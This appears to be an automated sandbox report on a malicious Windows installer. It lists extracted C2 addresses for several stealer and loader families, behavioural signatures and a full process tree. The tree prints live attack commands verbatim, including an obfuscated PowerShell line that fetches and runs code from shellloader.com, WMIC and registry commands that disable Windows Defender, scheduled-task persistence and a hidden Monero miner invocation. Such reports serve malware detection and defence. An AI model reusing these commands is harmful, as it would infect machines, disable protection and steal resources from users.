Analysis
-
max time kernel
25s -
max time network
1803s -
platform
windows10_x64 -
resource
win10-en -
submitted
15-09-2021 19:17
General
-
Target
setup_x86_x64_install.exe
-
Size
6.2MB
-
MD5
f944d681d4aef5cd2b92424c6f2a24a9
-
SHA1
725d06f330b6ab00e2b3332b725114c1564569f4
-
SHA256
80594c4ce01c53c6bcc472e88329cc23f51b0d3276c8f5b3a686033f8d2d452e
-
SHA512
db839da4190e0535d4b8ddb54681b90314e24b64ca381dc8a0889846709e1591b75c3d21364f7ab47a3d7c1367741b06e6141540d22f9c8745cdd57cbdf2624f
Score
10/10
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
ps1.dropper
http://shellloader.com/welcome
Extracted
Family
vidar
Version
40.6
Botnet
706
C2
https://dimonbk83.tumblr.com/
Attributes
-
profile_id
706
Extracted
Family
smokeloader
Version
2020
C2
http://varmisende.com/upload/
http://fernandomayol.com/upload/
http://nextlytm.com/upload/
http://people4jan.com/upload/
http://asfaltwerk.com/upload/
rc4.i32
rc4.i32
Extracted
Family
redline
Botnet
ANI
C2
45.142.215.47:27643
Extracted
Family
icedid
Campaign
1721901314
Signatures
-
Djvu Ransomware
Ransomware which is a variant of the STOP family.
-
IcedID, BokBot
IcedID is a banking trojan capable of stealing credentials.
-
Modifies Windows Defender Real-time Protection settings 3 TTPs
-
Process spawned unexpected child process 4 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 3 IoCs
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
-
Socelars Payload 2 IoCs
-
Vidar
Vidar is an infostealer based on Arkei stealer.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 2 IoCs
-
ASPack v2.12-2.42 7 IoCs
Detects executables packed with ASPack v2.12-2.42
-
Blocklisted process makes network request 1 IoCs
-
Creates new service(s) 1 TTPs
-
Downloads MZ/PE file
-
Executes dropped EXE 40 IoCs
-
Modifies Windows Firewall 1 TTPs
-
VMProtect packed file 3 IoCs
Detects executables packed with VMProtect commercial packer.
-
Checks BIOS information in registry 2 TTPs 6 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
-
Loads dropped DLL 10 IoCs
-
Modifies file permissions 1 TTPs 1 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Themida packer 4 IoCs
Detects Themida, an advanced Windows software protection system.
-
Checks whether UAC is enabled 1 TTPs 3 IoCs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 13 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
-
Suspicious use of SetThreadContext 2 IoCs
-
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 16 IoCs
-
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Creates scheduled task(s) 1 TTPs 29 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Delays execution with timeout.exe 6 IoCs
-
Kills process with taskkill 15 IoCs
-
Modifies registry class 10 IoCs
-
Modifies system certificate store 2 TTPs 2 IoCs
-
Runs ping.exe 1 TTPs 3 IoCs
-
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: MapViewOfSection 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵
- Suspicious use of SetThreadContext
- Modifies registry class
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
- Modifies registry class
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵
-
C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0B1CF564\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS0B1CF564\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue1807ec103e6254c2f.exe /mixone4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS0B1CF564\Tue1807ec103e6254c2f.exeTue1807ec103e6254c2f.exe /mixone5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3776 -s 6566⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3776 -s 6766⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3776 -s 6406⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3776 -s 7006⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3776 -s 8886⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3776 -s 9366⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3776 -s 11006⤵
- Program crash
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue18aad7323f1b89d.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0B1CF564\Tue18aad7323f1b89d.exeTue18aad7323f1b89d.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\6299468.scr"C:\Users\Admin\AppData\Roaming\6299468.scr" /S6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 1160 -s 17367⤵
- Program crash
-
C:\Users\Admin\AppData\Roaming\8227451.scr"C:\Users\Admin\AppData\Roaming\8227451.scr" /S6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Roaming\3324617.scr"C:\Users\Admin\AppData\Roaming\3324617.scr" /S6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Roaming\2295839.scr"C:\Users\Admin\AppData\Roaming\2295839.scr" /S6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue18bd83aee63.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0B1CF564\Tue18bd83aee63.exeTue18bd83aee63.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"7⤵
- Executes dropped EXE
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit8⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'9⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Roaming\services64.exe"C:\Users\Admin\AppData\Roaming\services64.exe"8⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit9⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'10⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"9⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth9⤵
-
C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\ProgramData\7558567.exe"C:\ProgramData\7558567.exe"8⤵
- Executes dropped EXE
-
C:\ProgramData\1580968.exe"C:\ProgramData\1580968.exe"8⤵
- Executes dropped EXE
-
C:\ProgramData\1580968.exe"C:\ProgramData\1580968.exe"9⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5100 -s 8969⤵
- Program crash
-
C:\ProgramData\6171082.exe"C:\ProgramData\6171082.exe"8⤵
- Executes dropped EXE
-
C:\ProgramData\4007469.exe"C:\ProgramData\4007469.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\2.exe"C:\Users\Admin\AppData\Local\Temp\2.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"8⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4772 -s 8368⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4772 -s 8088⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4772 -s 8808⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4772 -s 9568⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4772 -s 9328⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4772 -s 9288⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4772 -s 10488⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\4.exe"C:\Users\Admin\AppData\Local\Temp\4.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-3CUSG.tmp\setup_2.tmp"C:\Users\Admin\AppData\Local\Temp\is-3CUSG.tmp\setup_2.tmp" /SL5="$101F6,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"8⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT9⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-SIUJ5.tmp\setup_2.tmp"C:\Users\Admin\AppData\Local\Temp\is-SIUJ5.tmp\setup_2.tmp" /SL5="$201F6,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT10⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\is-SB5JC.tmp\postback.exe"C:\Users\Admin\AppData\Local\Temp\is-SB5JC.tmp\postback.exe" ss111⤵
-
C:\Windows\SysWOW64\explorer.exeexplorer.exe ss112⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#########-#ob#jec######t N#et#.W#####eb#Cl#ie#nt#).###Up#loa#dSt#######ri#####ng(#''h#t#tp#:###//shellloader.com/#w#el#co####me''#,###''S#e#ve#n#J#o###k##er''###)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"13⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#########-#ob#jec######t N#et#.W#####eb#Cl#ie#nt#).###Up#loa#dSt#######ri#####ng(#''h#t#tp#:###//shellloader.com/#w#el#co####me''#,###''S#e#ve#n#J#o###k##er''###)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"14⤵
-
C:\Windows\SysWOW64\cmd.execmd /C regsvr32 /s "C:\Users\Admin\AppData\Local\Temp\YmJKmqSqN.dll"13⤵
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32 /s "C:\Users\Admin\AppData\Local\Temp\YmJKmqSqN.dll"14⤵
-
C:\Windows\system32\regsvr32.exe/s "C:\Users\Admin\AppData\Local\Temp\YmJKmqSqN.dll"15⤵
-
C:\Windows\SysWOW64\cmd.execmd /C regsvr32 /s "C:\Users\Admin\AppData\Local\Temp\YmJKmqSqN.dll6QeQxnr7c.dll"13⤵
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32 /s "C:\Users\Admin\AppData\Local\Temp\YmJKmqSqN.dll6QeQxnr7c.dll"14⤵
-
C:\Windows\system32\regsvr32.exe/s "C:\Users\Admin\AppData\Local\Temp\YmJKmqSqN.dll6QeQxnr7c.dll"15⤵
-
C:\Users\Admin\AppData\Local\Temp\7zSEA8B.tmp\Install.exe.\Install.exe16⤵
-
C:\Users\Admin\AppData\Local\Temp\7zSECFC.tmp\Install.exe.\Install.exe /S /site_id "668658"17⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &18⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"19⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True20⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True21⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True22⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True"19⤵
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"18⤵
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&19⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:3220⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:6420⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gsJIUnSXz" /SC once /ST 10:48:54 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="18⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"18⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gsJIUnSXz"18⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gsJIUnSXz"18⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bEwGusBEGbIeKSSfjR" /SC once /ST 19:23:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\PZdhpCrZMxgBhjWOo\wwgpFMiovwBgRpD\wOQTfzJ.exe\" XY /site_id 668658 /S" /V1 /F18⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\3002.exe"C:\Users\Admin\AppData\Local\Temp\3002.exe"7⤵
-
C:\Users\Admin\AppData\Local\Temp\3002.exe"C:\Users\Admin\AppData\Local\Temp\3002.exe" -a8⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"7⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue18e9d20a66425675c.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0B1CF564\Tue18e9d20a66425675c.exeTue18e9d20a66425675c.exe5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im Tue18e9d20a66425675c.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zS0B1CF564\Tue18e9d20a66425675c.exe" & del C:\ProgramData\*.dll & exit6⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im Tue18e9d20a66425675c.exe /f7⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 67⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue18532bd4421223a36.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0B1CF564\Tue18532bd4421223a36.exeTue18532bd4421223a36.exe5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-JMJ7D.tmp\Tue18532bd4421223a36.tmp"C:\Users\Admin\AppData\Local\Temp\is-JMJ7D.tmp\Tue18532bd4421223a36.tmp" /SL5="$60048,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zS0B1CF564\Tue18532bd4421223a36.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\is-1P6B8.tmp\___YHDG34.exe"C:\Users\Admin\AppData\Local\Temp\is-1P6B8.tmp\___YHDG34.exe" /S /UID=burnerch27⤵
- Executes dropped EXE
-
C:\Program Files\Windows Security\KYNRCYKVYK\ultramediaburner.exe"C:\Program Files\Windows Security\KYNRCYKVYK\ultramediaburner.exe" /VERYSILENT8⤵
-
C:\Users\Admin\AppData\Local\Temp\is-SDAVJ.tmp\ultramediaburner.tmp"C:\Users\Admin\AppData\Local\Temp\is-SDAVJ.tmp\ultramediaburner.tmp" /SL5="$2027E,281924,62464,C:\Program Files\Windows Security\KYNRCYKVYK\ultramediaburner.exe" /VERYSILENT9⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu10⤵
-
C:\Users\Admin\AppData\Local\Temp\c8-ec87d-2e3-2bbb2-dc1e262acc6b6\Molijyqedy.exe"C:\Users\Admin\AppData\Local\Temp\c8-ec87d-2e3-2bbb2-dc1e262acc6b6\Molijyqedy.exe"8⤵
-
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exedw20.exe -x -s 11809⤵
-
C:\Users\Admin\AppData\Local\Temp\95-83b54-4eb-4a3b3-4d49dfc2bb85b\Doshosawiqae.exe"C:\Users\Admin\AppData\Local\Temp\95-83b54-4eb-4a3b3-4d49dfc2bb85b\Doshosawiqae.exe"8⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\kvxq2jht.kks\GcleanerEU.exe /eufive & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\kvxq2jht.kks\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\kvxq2jht.kks\GcleanerEU.exe /eufive10⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\jpbcenu1.mn5\installer.exe /qn CAMPAIGN="654" & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\jpbcenu1.mn5\installer.exeC:\Users\Admin\AppData\Local\Temp\jpbcenu1.mn5\installer.exe /qn CAMPAIGN="654"10⤵
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\jpbcenu1.mn5\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\jpbcenu1.mn5\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1631474192 /qn CAMPAIGN=""654"" " CAMPAIGN="654"11⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\fjqs4rum.zog\anyname.exe & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\fjqs4rum.zog\anyname.exeC:\Users\Admin\AppData\Local\Temp\fjqs4rum.zog\anyname.exe10⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zi0jcisb.k2z\install.exe & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\zi0jcisb.k2z\install.exeC:\Users\Admin\AppData\Local\Temp\zi0jcisb.k2z\install.exe10⤵
-
C:\Users\Admin\AppData\Local\Temp\7zSFFB3.tmp\Install.exe.\Install.exe11⤵
-
C:\Users\Admin\AppData\Local\Temp\7zSAD.tmp\Install.exe.\Install.exe /S /site_id "216660"12⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &13⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"14⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True15⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True16⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True17⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True"14⤵
-
